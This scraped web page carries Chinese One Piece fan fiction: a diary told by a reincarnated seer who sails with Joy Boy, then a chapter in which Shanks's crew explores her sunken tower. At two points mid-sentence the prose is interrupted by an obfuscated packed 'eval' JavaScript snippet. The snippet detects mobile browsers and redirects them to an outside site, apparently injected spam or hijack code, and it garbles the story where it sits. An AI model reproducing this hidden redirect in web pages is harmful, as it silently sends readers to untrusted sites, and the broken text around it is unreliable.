我现在生活的地方被后世……或者说，被我原来的世界称为红土大陆，而我就是这片大陆上土生土长滴银儿……应该算是人类吧?毕竟我长着一对白色的翅膀。 我的族人都是白发黑皮黑翅膀战斗力贼强，我靠，他们身上还会往外窜火啊我的天爷嘞！！！ 而我，白发白皮白翅膀往外窜不了火不说两分钟的八百米就能要我狗命。 看看这强烈的对比，用脚趾头想也知道我纯纯就是个被族人排挤的命！ 更何况这还是一个自称为“神”的种族。按理说吧，出生在这样一个神神叨叨的族群里，我这种异类高低是要被架在火堆上烧死的。 但我运气不错，觉醒了一种特殊能力，可以预知未来，可以沟通万物生灵，甚至可以沟通“神灵”。 于是他们把我锁在了高塔上，称呼我为亚弗戈蒙……传说里的时序女神。 好吧，我能看到未来什么的在最开始是装的，毕竟在我以前的那个世界，哪个漫迷不看咳咳，是吧?虽然我只看到了鱼人岛篇，但我也是看过的，这个神棍多少也能装一装。 但多半是因为我曾经在另一个时空里“看到过未来”，慢慢的，我还真的可以“看到”有关于未来的片段了。 我估摸着这应该是见闻色霸气的一种，一种牛逼到可以窥见很未来很未来很未来的见闻色，至于沟通万物神明什么的，应该就是加强版的“聆听万物之声”? 对了，我所在的种族被称为露娜莉亚族。 哈哈你可能想问是哪个“露娜”? 打野6不6? Giao！ 好吧，其实我现在很崩溃的！ 红土大陆上的不应该是天龙人吗？这个“露娜”又是从哪旮瘩儿里蹦出来的啊！！！ 老娘距离主角团到底有多远啊凎！！！ 念完第一篇奥西娅就有点念不下去了……好家伙，原来真的是老乡啊，不过这个老乡好像有点背，不知道穿到了哪条时间线上。 香克斯倒是注意到了一个词，“露娜莉亚族?” 奥西娅本想点头，对方却还压在她的头顶上，她只好“嗯”了一声，好奇道：“你知道那个种族吗？” 头顶被对方蹭了蹭，香克斯回答道：“传说中居住在红土大陆上的稀有种族，现在已经几乎灭绝了。” 很久以前，久到还没有现在所谓的“天龙人”，红土大陆上有一个“神之国度”，而露娜利亚族则被人们称为“神”。 (五) 海圆历620年，06月01日，依旧被关在塔里看不见天气(划掉)晴！！！ 今天本来应该是快快乐乐的儿童节，我都已经决定好要在床上躺平一天了，毕竟他们也不会放我出高塔去玩。 可他们居然要老娘沟通神明去预知什么狗屁不通的未来，知你奶奶个闷得儿泥鳅罗圈屁！没看见你爹我的发际线都后移了吗？！ 要是我能随随便便就沟通什么神明，我一定先求他赐下N道闪电劈死你们这群囚禁花季美少女的老登！！！ 在心里反复骂了两个来回，我的心气儿总算顺了，准备问问神明对面的黑皮老橘子什么时候被他老婆带绿帽子。 不是我说，正所谓“丈夫的美貌妻子的荣耀”，对面这哥都皱成烂橘子了，居然还不好好保养一下！就他那矬样儿，他不被绿谁被绿……哦，这位长老年芳八十三，母胎单身狗，笑死，他根本没有被绿的资格哈！哈！！哈！！！ OK，FINE，我的情绪调整的差不多了，我要开始预知未来了，我真的要开始预知未来了，倒计时十、九、八、七、六、五、四、三、二十、十九、十八……GIAO！我的墙怎么被打破了！！！ 我十七年如一日每天用自己的能力温养的墙啊！我的“在逃公举”计划啊！！究竟是哪个混蛋！！！ 视线里，一个拳头掏碎了囚禁了我十七年之久的高塔墙壁，阳光从土石飞溅的破口处照进来，那是我来到这个世界以后第一次享受被阳光肆无忌惮地倾洒在身上的感觉。 紧接着一个男人从破口里蹦了进来，他头上带着草帽，身体像主角哥一样可以自由伸缩，他笑嘻嘻地问我要不要跟他一起去大海上冒险。 周围是烂橘子们愤怒的咆哮，什么“不行，这里外人不能进来”“她绝对不能离开”“会招至灭亡的魔女”各种乱七八糟的屁话……笑死，谁爱听烂橘子放屁啊？ 我果断点头。 那个跟主角哥很像的草帽哥的手臂就像橡胶一样伸长缠绕在我腰间，带着我从高塔的破口处一跃而出。 那是我第一次知道，原来高塔外面种着大片大片的金蕊月见花……真美啊。 桥豆麻袋！我CAO你大爷啊啊啊！！这里可是将近有一百多米高啊啊啊啊啊！！！ 半空中，他说他叫乔伊波伊。 我那倒计时二十秒的预知能力终于发动，我看到了他的未来，我说你好我叫亚弗戈蒙，你未来会死。 他很好奇地反问我这个世界上有谁不会死？ 我哽住，重点是这个吗?！ 我说我可以预知未来，未来就是你会被人杀死。 这个王八蛋居然说我那么牛逼的一个能力没意思?！ 我去你大爷的！ 我们顺利落地，他把我公主抱在身前往红土大陆的边缘跑，背后是穷追不舍的露娜莉亚族，他说…… “什么时候死怎么死什么的我不想知道，哪怕我明天就会死也无所谓，就是因为这样我才赌上性命出海的。” “要是什么都提前知道了底细，我就不要出海了。” “哈哈我才不做无聊的冒险！” 靠，这任性的发言好耳熟啊……于是我问他，“你办得到吗？” “大海的艰险远远超出你的想象，敌人也都会很强悍，你能统治得了这片的大海吗?” 他像是看傻子一样地看我，“我可不打算统治，我要在这片大海上做最自由的人哈哈哈！” 我被他“看傻子似的”眼神给刺激到了，梆梆给了他两拳：“笑屁啊笑！还不赶紧跑！！他们要追上来了！！！” “嗷！痛痛痛！！你的拳头好痛啊！！！” 于是，这片大海上的第一个海贼诞生了，他叫乔伊波伊，抢走了“神明们”藏之高塔的公主。 …… 海圆历620年，06月14日，小雨。 我错了。 我以为像乔伊波伊这种连生死都置之度外的男人是没什么在乎的东西的……我错了，大错特错！ 这个活爹居然在我们快要饿死的时候在乎我们为什么没有能够振奋人心的音乐家?！ 啊啊啊啊啊啊！ 啊啊啊啊啊啊啊啊啊！！ 啊啊啊啊啊啊啊啊啊啊啊啊！！！ 都别拦着我！我要把这个混蛋投到海里淹死！！！ 赶紧去找个厨师回来啊混蛋！！！！ …… 海圆历620年，06月16日，今天是阳树夏娃赐予的阳光。 见不到真正的太阳是什么样的感觉? 想被阳光倾洒在身上是一种什么样的渴望? 我可太懂了，作为被囚禁高塔十七年的大倒霉蛋，要是问我这个问题，那纯属专业对口。 乔伊波伊，要多大的船才能把整个鱼人族都带到水面之上呢? 它说，区区人鱼公主，再好看也不过是条鱼而已。 没错，就是它，我最讨厌的人、东西，没有之一！ 像它这种心中藏奸满口鬼话的骗子不配在我的日记本里拥有姓名！它连人籍都不配拥有！！ 它什么极端种族主义者啊?傻叉吧！ 我怀疑它就是嫉妒人鱼公主比它美！！ 人鱼公主她明明又大只又可爱！！！ …… 海圆历620年，10月10日，阴。 象象虽然已经一百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097921|149659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八十岁了，但象象真的太好骗了，他一只象的时候真的呆胶布吗? …… 海圆历620年，11月07日，今天的太阳超烫的！ 阿拉巴斯坦的莉莉，她是一位真正的公主！ PS：她跟薇薇，敲像的！ …… 海圆历620年，12月05日，小雨。 今日碎碎念，活爹他什么时候才能懂道不同不相为谋? 它就是很明显的那种心里藏奸的谎言者啊！ 乔伊波伊这个家伙，迟早被人骗了还得帮人数钱。 …… 海圆历620年，12月31日，狂风暴雨。 我被露娜莉亚族的追兵带走了，但乔伊波伊又把我抢了回来。 他说不许弄哭他的船医。 八嘎！谁、谁是他的啊！！ 讨厌死了！大笨蛋！！！ …… 海圆历621年，01月01日，晴。 他的心跳声被人们称为“解放之鼓”。 我问他开心吗？ 他说跟大家一起冒险当然开心啊！ ……这个笨蛋。 …… 海圆历621年，03月01日，今夜万里无云，星光漫天。 活爹一直嚷嚷着要找的音乐家终于出现了。 音乐家为他写了一首“海贼之歌”，我听着熟悉的旋律脑门发懵，原来《宾克斯的美酒》是这么来的啊！ 在他们商量这首歌的名字的时候，我忍不住脱口而出“宾克斯的美酒”。 他们看着酒杯里粉红色的美酒大笑，就叫《Bink''s Sake》！ 音乐家先生看上去非常满意，毕竟这个名字怎么着也比乔伊波伊的什么《大海，大象，大章鱼之歌》要好，对吧？ …… 海圆历621年，04月01日，晴。 呦嚯嚯嚯~呦嚯嚯嚯~呦嚯嚯嚯~呦嚯嚯嚯~ 呦嚯嚯嚯~呦嚯嚯嚯~呦嚯嚯嚯~呦嚯嚯嚯~ 给你送去宾客斯的美酒，乘风破浪任我游~ 浪潮汹涌，夕阳骚动，鸟儿歌声，划破长空，离别港口，难忘乡愁，高歌一曲诉情怀~ 从独奏到二重奏到三重奏到四重奏……同伴越来越多了，开心，嘿嘿~ …… 海圆历621年，08月15日，晴。 巴卡尼亚族除了很温柔很卡哇伊外，还有点憨憨的。 但我很喜欢他们，笔芯芯~ …… 海圆历621年，09月03日，晴。 哇……这就是乌神一直憧憬的艾尔巴夫吗？！ 斯国一！巨人族哎！！真的好大的巨人哎！！！ …… 海圆历621年，10月03日，多云。 跟它互扯头发。 导火索是一场关于“永生”的探讨。 它想要永久的生命，永久的生命＝永恒的时间＝有足够的时间成长到可以藐视任何生灵的强大。 它说，神之所以为神，正是因为他们拥有无穷的时间，在那些时间里他们可以去追求无尽的力量，强大的力量让神超脱于凡人成为了神。 众神之下，皆为蝼蚁。 我说，兄der你没事儿吧?没事儿犯什么中二病啊?你这毛病得治。 然后，它就毛了。 呵，忠言逆耳利于行，不听劝的东西。 生命之所以可贵，不正是由于他的有限吗？ 本末倒置的完蛋玩意儿。 …… 海圆历621年，12月06日，小雨。 我告诉乔伊波伊，全知之树有一天会被毁掉。 他摸摸我的头，说，真理永远不会被毁掉。 我靠，他居然能说出这么有哲理的话来?不会被什么聪明的东西给附身了吧?比如全知之树的全知树灵什么的? 我决定扒开他的脑壳儿检查一下！ 这个笨蛋跑得飞快，大声嚷嚷着二丫变成了吃脑子的妖怪！ 凎，鳖孙儿！！！ 我有没有说过不准喊我那个外号?！！！ …… 海圆历622年，03月12日，小雨。 他问我为什么不开心? 他发誓再也不喊我二丫了，否则就一辈子不能吃肉！ 八嘎。 我好气又好笑，谁会因为那种东西不开心啊……不过在他眼里“亚弗戈蒙不开心”跟“一辈子不能吃肉”一样严重吗？ …… 海圆历622年，06月01日，雷雨。 他不让我跟他一起去。 他的决定或许没错。 我是个体力废物，战斗力又拉，去的话肯定会被它当成对付他的突破口的，他战斗的时候还要分神保护我，就会束手束脚……总而言之，各种理由都证明我应该留在这里等他凯旋而归。 可是，可是，可是……可是这一次，他会死的啊。 他说他是不会死的。 他蹭蹭我的额头，跟我保证他是不会死的。 大道五十，天衍四九，尚有一线生机。 我心存侥幸，说不定，因为我的到来，冥冥之中已经改变了既定的未来，他不会死的，也不会出现什么天龙人，对不对? 不然我的预知能力又算什么？ 总不能面对未来干瞪眼，屁用没有吧？ …… 臭骗子，讨厌鬼，大混蛋……说好不会死的。 骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子骗子…… 我真的生气了，我以后再也不要喜欢你了。 …… 混账东西！ 你临死前有空给人鱼公主写劳什子道歉信，就没什么要对我说的吗? 有本事把跟老娘的约定忘到脑后，怎么没本事跟我道歉啊? …… 海圆历……不知道是第几年，世界彻底乱起来了，它欺骗了整个世界。 …… 要好好活下去啊，埃米特。 我看到了你的“未来”，是很关键的未来哦！ …… 今天是我逃亡的第二十三个月，它知道我拥有预知的能力，它是不会放过我的。 曾经接受过我们帮助的朋友帮忙遮掩了我的行踪。 我要回去露娜莉亚族，我必须回到那里，那里有唯一的一线生机！ …… 它们已经守在了高塔之外。 …… 在巴卡尼亚族的帮助下，我带着高塔逃往天际。 …… 它们辗转在各个空岛，想要把我抓回去。 …… 海圆历……混乱的逃亡让我失去了时间观念。 人生的前十七年，我一直在用自己那份跟时空有关的力量温养着这座囚禁我的高塔，它现在就是一台“时光机”，随时可以带我回家！ 但大招只能使用一次。 …… 我“看到了”九百年后，有一个叫贝加庞克的科学家，他想要复兴“古代文明科技”。 他有六个分身，有意思，我觉得我可以搞七个！ …… 我不走了。 他是不会死的。 …… 它说，他已经死了，它亲手杀死了他。 不。 乔伊波伊说，他是不会死的。 生死要如何界定呢？ 心脏被贯穿的人会死吗？ 得了不治之症的人会死吗？ 喝下剧毒的人会死吗？ 从某种程度上来说，或许吧。 但只有当被彻底遗忘的时候才是真正的不可逆转的终结。 世代传承的意志、时代的变迁、人们的梦想，这些都是挡不住的！ 落日终将会再度升起，因为人们从未忘记过光明的温度，只要人们继续追求自由的答案，解放的鼓声将永不停歇！ 乔伊波伊是永远都不会死的。 但你呢？ 一个苟且偷生于“虚空王座”上的、不敢为外界所知的胆小鬼? 这样的你还算是“活着的”吗？ 你还在惧怕大海吗? …… 那顶草帽…… 他就在未来，这一次，我一定要保护好他。 …… 正所谓广撒网钓大鱼。 我决定向贝加庞克学习，把自己的人格分吧分吧分成七个送往未来去保护他。 七个唉！你小子够有排面吧哈哈哈！ …… 我尝试预知过分身们的未来，Emmm……好家伙，我直呼好家伙，不少熟悉的面孔啊。 就这? 他们真的能保护好“乔伊波伊”? 不会失手弄死他吧? 算了，人生不如意十之八九。 希望“乔伊波伊”能明白我的良苦用心，把某几个人格当经验包刷吧。 我已经做了我能做的一切。 …… 成功抵达这里的孩子，去过“我原来的世界”的你会不会对我的决定很失望呢? 不会吐槽我是个彻头彻尾的恋爱脑吧?！ 达咩达咩！求求你不要这么骂，我真的会心梗……虽然当你看到这本日记的时候我估计已经没有心了哈哈哈哈哈！ 明明有机会回家，明明有机会活命，为什么非要选择留下来呢? 哈哈，你就当我头脑发热吧…… 人类这种生物，在头脑发热的时候就是会变成笨蛋的！(理直气壮jpg.) ……或许在我死去的瞬间就会找到答案吧，找到我为什么想要留在这里的答案。 还有，枇杷好吃吗？ 他当年亲手给我种的哦！(翘鼻子jpg.) 嘻嘻，以上。 14. 第 14 章 (一) 本乡、斯内克、宾治、猛士达四位撬锁良将轮番上阵也没能把青石巨门的锁撬开。 至于砸开? 不可能，绝对不可能。 “无法被破坏的石碑”就是海贼世界里的因果定律，就跟恶魔果实能力者都是旱鸭子一样。 无法泳游就是无法泳游，“无法被破坏”就是“无法被破坏”。 用“无法被破坏”的材料制作而成的青石巨门自然也无法被暴力破开，门板上的各种痕迹也说明了曾经有头铁哥试图暴力开门过，但无疑都以失败告终。 但凑巧红发团的干部成员大多都是头铁哥，比如不信邪的三人一猴组。 他们浅try了一下暴力轰门，差点把整个金色大厅震塌，然后就副船长浅揍了一下。 他们浅try一下，贝克曼浅揍一下，很公平么。 被浅揍了一下的三人一猴组头顶大包，排排蹲在门根下面画圈圈，彻底老实了下来。 十米多高的巨门把他们衬托的像是小人族。 贝克曼觉得，它就像是一位已经在岁月里等待了足够久的耄耋老人，无声无言，将心怀鬼胎的各路人马拒之门外，等待着千万条时间线里唯一的那个有缘人。 但，谁会是这个有缘人呢？ 他轻咬烟蒂，哼笑，头儿也该回来了吧。 “砰！” 像是在回应他的呼唤，大厅突然被什么东西从外面撞了一下，天花板上坠着的水晶缠金吊灯也剧烈摇晃起来，发出“吱呀吱呀”的声响。 “砰！” “砰砰！！” 四人一猴在剧烈的晃动中扶住青石巨门站稳，“靠，咱们不会这么倒霉正好撞上海底……”地震吧? 话音未落，随着“砰”的一声巨响，黄金大厅的地板被撞出一个大口子，玉石四溅、“噼里啪啦”，奔腾的海水从破口处喷涌而出，形成了一个巨型喷泉。 紧接着一条大鱼顺着巨型喷泉“飞”进大厅，大鱼的头顶上还站着两个他们无比熟悉的人…… “头儿！还以为你死了呢哈哈哈！！！” “你们两个到底跑去哪儿了啊？” “唉?” 他们的表情突然由狂喜转为惊恐，“桥、桥豆麻袋！！！” “你们不要……”过来啊。 “轰——！！！！” 巨响过后，香克斯一手按住头顶的草帽，一手揽住奥西娅从大鱼身上跳下来，然后没心没肺地跟被大鱼拍扁在门板上的同伴打招呼：“哈哈哈好久不见……啊嘞?” “奇怪，你们贴在门上做什么？” “哈哈哈在耍宝吗？” 回答他的是把大鱼踹飞、把饼状的身体从门板上扣下来、把刀枪棍棒卡在他脖子上的浑身冒着死亡黑气的同伴们：“混蛋船长，这次绝对要弄死你。” 香克斯秒怂：“都是我害的，斯密马赛。” 已老实，求放过。 “真受不了……” 贝克曼擦着脸上的鼻血，每日问自己N遍，我到底为什么要跟随这种船长啊? “喂喂！混蛋头儿，看看你干的好事，海水已经漫过小腿了！” “嘶……咱们不会被淹死在这里吧?” “八嘎！不要说那些不吉利的话！！！” “……说的也是，还是趁着最后的机会让罪魁祸首先一步下地狱吧。” “同意。” 见他们又要磨刀霍霍向自己，香克斯连忙举起手里的钥匙：“哒咩哒咩！” “我们可以开门往上跑，这里是一座高塔，肯定能活下去的。” 贝克曼没问他怎么知道这里是一座高塔，又怎么确定门后的道路是向上的而不是向下的。 他吐掉嘴里被海水浇灭的香烟，一把抢过对方手里的钥匙去开门，“算你还有点用处。” 对方恬不知耻地点头：“毕竟我俩相处了这么多年嘛，再怎么样也能从你身上学到点东西的。” 贝克曼：“……” 副船长嘴角那丝因为门开而扬起的笑意立刻随风而散。 (二) 一扇十米多高、起码五十公分厚的青石巨门的分量肯定不轻，却难不倒这群靠力量吃饭的海贼们。 随着大门被缓缓推开，展现出一个同富丽堂皇的黄金大厅截然相反的世界。 伸手不见五指的漆黑。 “噗呲”一声，贝克曼手里的打火机冒出火光，借着这点光亮，一座盘旋向上的旋转楼梯出现在他们眼前，延伸进上方深不可测的黑暗里，像是伸进了怪物的巨口。 灰扑扑的石质台阶经过岁月的打磨风化的有些严重，贝克曼刚踩上去就碎了一个石头角。 简直比危楼还危楼，比毛坯房还毛坯房，整一个遗迹残骸。 跟香克斯幻想中的“亚弗戈蒙的秘宝”的藏宝地一点都不一样，他当即挎起个小猫批脸，老大不乐意：“这种地方真的会有秘宝吗?” “闭嘴，如果不乐意就留在这里淹死吧。” 贝克曼目前对白痴船长的容忍度极低，他挥开眼前的蜘蛛网走在最前面带路，“我们走。” “啊——?” 眼瞅着自己被落在最后，香克斯更不乐意了，赶忙伸着手追了上去，“等等嘛，不要丢下我一个人嘛！” …… 楼梯非常的狭窄陡峭，海贼们只能排成一排、拥拥挤挤地贴着墙壁往上前进，畏畏缩缩的样子像极了一排鹌鹑。 走着走着，排在倒数第三的斯内克随便往后一瞥，眼珠子差点顶破墨镜飞出来：“我靠！头儿你的裆部怎么在发光?！” 香克斯：? 他低头一看，从裤兜里掏出一把荧光结晶来，“哈哈哈哈刚好用来照明！” “……” 贝克曼的额角青筋暴起，关上已经有些发烫的打火机，咬牙切齿：“把头儿运到最前面来带路。” “哦！！！！” 一群人手脚麻利地把香克斯举到头顶，准备把他“空运”到最前面，香克斯剧烈挣扎：“哒咩哒咩，不能把西西一个人留在最后面！” 借着荧光石的微光其他人看向本来被香克斯护在身前的奥西娅。 “……” “……” “……” 第一句话：“美女你哪位?” 第二句话反应了过来：“等等，鬼面呢？” 第三句话完全反应错了：“所以刚才跟头儿一起骑着大鱼冲进来的不是鬼面吗？” 第四句话的方向已经彻底歪了：“靠！没想到头儿你居然是个见色忘义的混蛋！！！” “鬼面他不会被淹死在外面了吧?” “岂可修，呜呜呜呜放心吧好兄弟，你的那份财宝我会帮你一起继承的！” “呸！你要点脸吧，鬼面他现在可是生死未卜啊！而且我才是他最好的兄弟，要继承也是我继承！” “你才是真的不要脸，鬼面最好的兄弟明明是我才对！” 眼瞅着他们就要因为谁才是遗产第一顺序继承人的问题打起来，奥西娅词穷了，她完全不知道应该骂点什么。 首先，她已经出场整整一个小节了，他们居然才注意到自己。 其次，就算她真的噶了，也一定要把群活佛全都带下去！！！ 奥西娅面无表情地举手：“有没有一种可能，我就是鬼面。” “……” “……” “……” 几秒的沉默过后，几个壮汉的眼眶渐渐红了。 “鬼、鬼面，好兄弟，你受苦了！” 奥西娅的头顶缓缓打出一个问号。 本乡哽咽道：“好兄弟，虽然不知道你跟头儿经历了什么才会被变成女人，但我一定会想办法把你治好的。” “你身上失去的零件，我一定帮你找回来！” 奥西娅欲言又止：“那个……” 斯内克摘下墨镜，用胳膊擦眼泪，“一定很痛苦吧?突然被截肢，失去了男性尊严的生育能力。” “……那个叫结扎。” 而且那种事情到底跟她有什么关系啊？ 宾治跟猛士达抱头痛哭，眼泪鼻涕一起飞，“呜哇哇哇哇！太可怜了鬼面！” “吱！吱！！吱吱吱！！！” 奥西娅：“……” 香克斯：“……” 贝克曼：“……” 三人的心境在此刻达到了空前的统一——突然感觉人生真的好无力啊。 贝克曼捏捏鼻梁：“有没有一种可能，鬼面本来就是女人。” 三人一猴的哭声瞬间哽在嗓子里，像是被突然掐住脖子的大鹅：“嘎——?” 香克斯对着他们指指点点：“喂！身为船长我不得不说几句了。” “在船上相处了那么长时间，你们居然没有一个人发现西西是女人吗?真是一群八……” “砰！砰！！砰！！！” 他们举拳怒爆鲨鱼齿：“你明明也没发现吧！！！” 香克斯头顶一叠包，卒。 (三) 香克斯最后也没去前面带路，而是人手分了一块荧光结晶。 他继续护在奥西娅身后，一路上都像只大虾似的嘴角下拉，不敢置信他们是怎么发现自己也没发现的，明明他已经装的很像很严肃了啊！ 这段楼梯不知道爬了多久，久到他们已经把双方分开后的冒险经历分享完了，才顺利抵达楼梯的尽头。 楼梯的尽头有一方稍微宽阔些的石质平台，他们总算能有个地方扭扭脖儿抻抻腰伸伸胳膊蹬蹬腿儿。 这一路走的憋屈死了，落脚都不敢使劲儿，生怕把楼梯踩塌了掉下去。 平台的正中央是一扇已经有些腐朽的木门。 香克斯直接飞起一脚踹开木门，然后大步踏了进去，“哇”地大叫一声，“里面坐着一个人……” 贝克曼刚想询问，奥西娅就先一步冲了进去，她的心脏快的不像话，难道说、难道说、难道说亚弗戈蒙还活…… 她朝着那个背对着门口、周身散发着温润荧光的白裙女子跑去。 从背影看，对方是真·白的发光，长至脚踝的白色卷发、舒展开的白色翅膀、头顶还带着纯白色的月见花环。 “亚……” 奥西娅终于跟“白裙女子”面对面，香克斯那句话的最后几个字也说了出来：“……的石像。” 奥西娅激烈的心跳渐渐平缓下来，香克斯凑到她身边，有些小心翼翼：“西西……” 他们面对的是一座莹白如玉的“石像”，“雕刻”的是一位惟妙惟肖且无一丝缺憾的绝世美人，容貌跟奥西娅有七、八分相似，在伸手不见五指的房间里散发着淡淡的荧光。 “美人”扬着修长的脖颈，像一只优雅漂亮的白天鹅，面朝着对面墙壁上的巨大破口。 她右手的指尖搭在身前矮桌上的一枚音贝上，左臂伸向破口的方向，背后的双翼展翅欲飞，原本跪坐的双腿已经被带离地面，只剩下右脚的脚面还跟地板有接触。 也正是这一点接触，让已经“飞到”半空中的女神“石像”不至于歪倒，而是稳稳当当地立在那里。 她精致的面庞上唇角微微扬起，连眼尾的睫毛都“雕”的根根分明，神情似解脱又似向往。 像是最伟大的雕塑大师将一位女神振翅欲飞的瞬间用石雕的方式记录了下来。 又像是女神在飞向破口处的一刹那间被变为了石像，永远定格在了这里。 从墙壁的破口处往外看，蓝到发黑的海水被统统隔绝在了一个巨大的透明罩子之外。 或者说，是整座高塔被笼罩在了一个蛋壳似的透明罩子里，然后一起沉入了湖底。 在水下兜兜转转太久，奥西娅已经有些分不清楚方向了，但她知道，石像望着的肯定是正东方，是太阳从海上升起时，第一眼就能看到的方向。 她拿起那枚颜色已经有些黯淡的音贝，却发现音贝挡住的桌面上还刻着一行小字，看字迹，应该跟写日记的是同一个人。 桌面上刻着这样一句话—— ‘我是被高塔禁锢的时间，太阳神的光芒照耀在了我的身上，他是我生命中遇到的最美好的风景，所以我选择留在这里。’ 【明明有机会回家，明明有机会活命，为什么非要选择留下来呢?】 【哈哈，你就当我头脑发热吧……】 【人类这种生物，在头脑发热的时候就是会变成笨蛋的！】 【……或许在我死去的瞬间就会找到答案吧，找到我为什么想要留在这里的答案。】 日记里的问题，在这一瞬间和桌案上刻着的答案重叠在了一起。 (四) “咔嚓。” 摁下音贝的开关，一阵杂音过后，静谧的黑暗里响起了一群人大笑着高唱《宾克斯的美酒》的歌声。 贝克曼等人本来正借着荧光结晶的微光研究墙壁上散发着淡淡血腥味的文字，这下注意力也都被吸引了过去。 好好一首《宾克斯的美酒》被音贝里的那群人唱得乱七八糟的，还有尖着嗓子跑调的，时不时还会响起一阵悠长的象鸣。 一道含笑的男声由远及近，像是凑到了音贝旁边，“喂，二丫！” “你不去参加宴会一个人坐在这里干什么?” “不会在偷吃肉吧！！！” “砰！砰！！砰！！！” 拳拳到肉的声音响起，男声立刻“嗷嗷”喊疼，香克斯几人下意识地捂住脑壳，视线微妙地看向贝克曼。 这一刻，人类的幻痛隔着九百年的时空诡异地达成了感同身受。 音贝里，一道虽然饱含怒火但依旧非常好听的女声响起，“笨蛋！我有没有说过不准给我乱起外号?” 男声委屈地拔高音调：“我可是船长！” “哈?” “……” 男声打着哈哈道：“你是船长，你是船长，你是船长行了吧！” 半晌，音贝里传来女人清浅的笑声。 “二、咳咳，亚弗戈蒙！别动手！！我都说了是亚弗戈蒙了，我没有叫二丫！！！” “哈哈哈八~嘎~打不到打不到就是打不到哈哈哈哈哈！” “你给我站住！” “略略略~八~嘎~才站住呢！哈哈哈！” “我跟你说，你小子今晚必有一场造化！你完犊子了！！” “哈哈哈哈哈哈！” 那对男女的笑闹声渐渐远去，应该是参加不远处的宴会去了。 …… 又是一阵杂音，紧接着那道男声再次响起，“你怎么又在摆弄那个东西?” 女声似乎有些无奈：“我只是想把大家的声音录下来而已。” “录下来?怎么录?” “摩西摩西，我是乔伊波伊，是要成为这片大海上最自由的男人的人！” “扑哧~你这个名号也太绕口了吧?” “啊——?那要怎么说嘛?” “他们不都说咱们是海贼吗？你就做海贼里面最自由的那个好了，海贼王。” “哈哈哈斯国一！” “摩西摩西，我是乔伊波伊，是要成为海贼王的男人！” …… 杂音过后，又是那群人在唱《宾克斯的美酒》，这次那道女声也在跟着一起唱，途中男声不解道：“啊嘞?居然又在录吗?” “你居然都不会觉得无聊吗？斯国一！” “八嘎！给我好好唱，这个是我要等你死后好好珍藏起来的。” “喂喂喂！！！” 慢慢的，音贝里那群人欢声笑语的合唱渐渐消失，最后只剩下了女声独自的哼唱……孤独而空灵，在岁月的长河里缓慢地流淌着她的遗憾和哀伤。 骄傲和不甘，收获又失去，冒险与死亡，过去到未来……属于这个时空的海贼们在大浪淘沙的时光里匆匆瞥见了另一个人的一生，久久未语。 (五) 香克斯的手指突然伸向奥西娅的眼角，她这才感受到了脸上的湿意。 “唉?” 对方的眼泪不断聚集在眼眶里，紧接着一颗又一颗地落下来，香克斯笨手笨脚地给她擦着，“西西，你这眼窝也太浅了吧。” 被他这么一说，不知道为什么，奥西娅的眼泪反而更收不住了。 “唉?唉唉唉?！西、西西，怎、怎么了这是?” 她哭的一声不响，他急得抓耳挠腮。 香克斯一个劲儿地道歉：“对不起对不起，啊我、我我我，反正都是我的错，别哭啊西西，我、我保证以后再也不说你了……行吗？” “啊啊啊怎么办！贝克！！贝克！！！” 无计可施的香克斯悲催地找副船长救命。 但还没等到副船长发力，憋了半天的宾治就先嗷嗷大哭起来，眼泪与鼻涕齐飞，打嗝与放屁一色。 也就是说，宾治这个人，哭起来的时候流鼻涕不说，还打嗝放屁。 奥西娅都被他镇住了，眼泪呆呆地挂在脸上。 “……” 其他人把视线转移到他身上，眼神复杂。 “看我干什么？” 宾治吸了吸鼻子，“难道你们就没有特别想哭的感觉吗？” “……” “就是一种、一种很无力的宿命感，你们懂不懂?！” “……” “总而言之，总而言之，他们的《宾克斯的美酒》简直让人难受到了骨头缝里，嘤嘤嘤……” “……” 大家齐齐打了个哆嗦，他的“嘤嘤嘤”实在让大家难受到了骨头缝里。 搞艺术的情感丰沛起来真令人害怕。 香克斯早就抓住机会用袖子帮奥西娅把脸给擦干净了……此时此刻，他只想赞美情感丰沛的伟大音乐家！ 真有你的，宾治！ (比大拇指jpg.) “靠！海水漫上来了！！！” 随着一声惊呼，众人回神，冰凉的海水逐渐没过他们的脚踝。 “唉?居然能漫上来吗？真是没想到啊哈哈哈！” “……” “混蛋！都是你的错！！居然还有脸笑啊?！！” 他们扑向香克斯扭打成一团，脚下的海水被他们扑腾的四处飞溅，贝克曼嫌弃地远离他们。鸡飞狗跳间， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097922|149659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一缕阳光突兀地照在了他们身上。 “唉?” “啊嘞? “哪来的阳光?” 旭日东升，熹微的晨光从高塔墙壁的破口处一缕一缕地倾洒进来，彻底驱散了房间里的黑暗。 倒灌的海水也不知道在什么时候停了下来，连通器液面相平的原理终于抵达平衡，沉没于湖泊的塔顶再次露出了水面。 从“上次”到“再次”，它等待了九百年。 阳光照在湖面上，波光粼粼的。湖面上闪动的波纹又被透明罩子反射到了写着文字的石壁上，那些暗红色的文字也跟着被笼上了一层水色的轻纱，磷光轻漾。 诡异的是，即使横跨了这么长时间，墙上的血字依然清晰，虽然颜色变得暗沉发黑，但一笔一画却没有半点模糊，靠近时甚至还能闻到上面淡淡的血腥味。 